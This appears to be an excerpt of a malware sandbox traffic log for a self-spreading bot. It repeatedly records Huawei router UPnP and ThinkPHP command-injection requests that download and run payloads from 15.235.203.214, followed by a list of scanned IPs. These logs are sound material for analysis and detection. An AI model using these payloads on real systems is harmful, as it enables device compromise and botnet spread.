6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 157.113.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 75.245.37.135
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.228.252
Source: unknown	TCP traffic detected without corresponding DNS query: 41.135.100.3
Source: unknown	TCP traffic detected without corresponding DNS query: 41.114.206.140
Source: unknown	TCP traffic detected without corresponding DNS query: 157.35.130.251
Source: unknown	TCP traffic detected without corresponding DNS query: 157.217.24.18
Source: unknown	TCP traffic detected without corresponding DNS query: 41.48.64.8
Source: unknown	TCP traffic detected without corresponding DNS query: 216.15.194.11
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.106.175
Source: unknown	TCP traffic detected without corresponding DNS query: 41.109.80.153
Source: unknown	TCP traffic detected without corresponding DNS query: 41.109.172.235
Source: unknown	TCP traffic detected without corresponding DNS query: 41.101.180.53
Source: unknown	TCP traffic detected without corresponding DNS query: 166.129.166.145
Source: unknown	TCP traffic detected without corresponding DNS query: 157.238.194.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.135.228.141
Source: unknown	TCP traffic detected without corresponding DNS query: 157.29.91.154
Source: unknown	TCP traffic detected without corresponding DNS query: 197.18.206.159
Source: unknown	TCP traffic detected without corresponding DNS query: 157.135.74.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.74.96.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.169.40.175
Source: unknown	TCP traffic detected without corresponding DNS query: 34.182.233.76
Source: unknown	TCP traffic detected without corresponding DNS query: 41.130.29.61
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.216.156
Source: unknown	TCP traffic detected without corresponding DNS query: 197.91.175.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.105.219.240
Source: unknown	TCP traffic detected without corresponding DNS query: 49.55.180.63
Source: unknown	TCP traffic detected without corresponding DNS query: 41.127.217.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.242.43
Source: unknown	TCP traffic detected without corresponding DNS query: 157.204.120.208
Source: unknown	TCP traffic detected without corresponding DNS query: 41.197.53.118
Source: unknown	TCP traffic detected without corresponding DNS query: 62.146.200.25
Source: unknown	TCP traffic detected without corresponding DNS query: 103.246.101.15
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.85.28
Source: unknown	TCP traffic detected without corresponding DNS query: 157.17.105.247
Source: unknown	TCP traffic detected without corresponding DNS query: 41.253.112.25
Source: unknown	TCP traffic detected without corresponding DNS query: 197.36.183.119
Source: unknown	TCP traffic detected without corresponding DNS query: 140.235.15.87
Source: unknown	TCP traffic detected without corresponding DNS query: 107.103.239.103
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.49.40
Source: unknown	TCP traffic detected without corresponding DNS query: 14.49.13.245
Source: unknown	TCP traffic detected without corresponding DNS query: 173.213.209.100
Source: unknown	TCP traffic detected without corresponding DNS query: 169.37.171.79
Source: unknown	TCP traffic detected without corresponding DNS query: 34.108.209.169
Source: unknown	TCP traffic detected without corresponding DNS query: 197.197.182.48
Source: unknown	TCP traffic detected without corresponding DNS query: 83.35.196.3
Source: unknown	TCP traffic detected without corresponding DNS query: 157.5.164.72
Source: unknown	TCP traffic detected without corresponding DNS query: 197.57.193.59
Source: unknown	TCP traffic detected without corresponding DNS query: 197.115.200.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.255.176.224

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
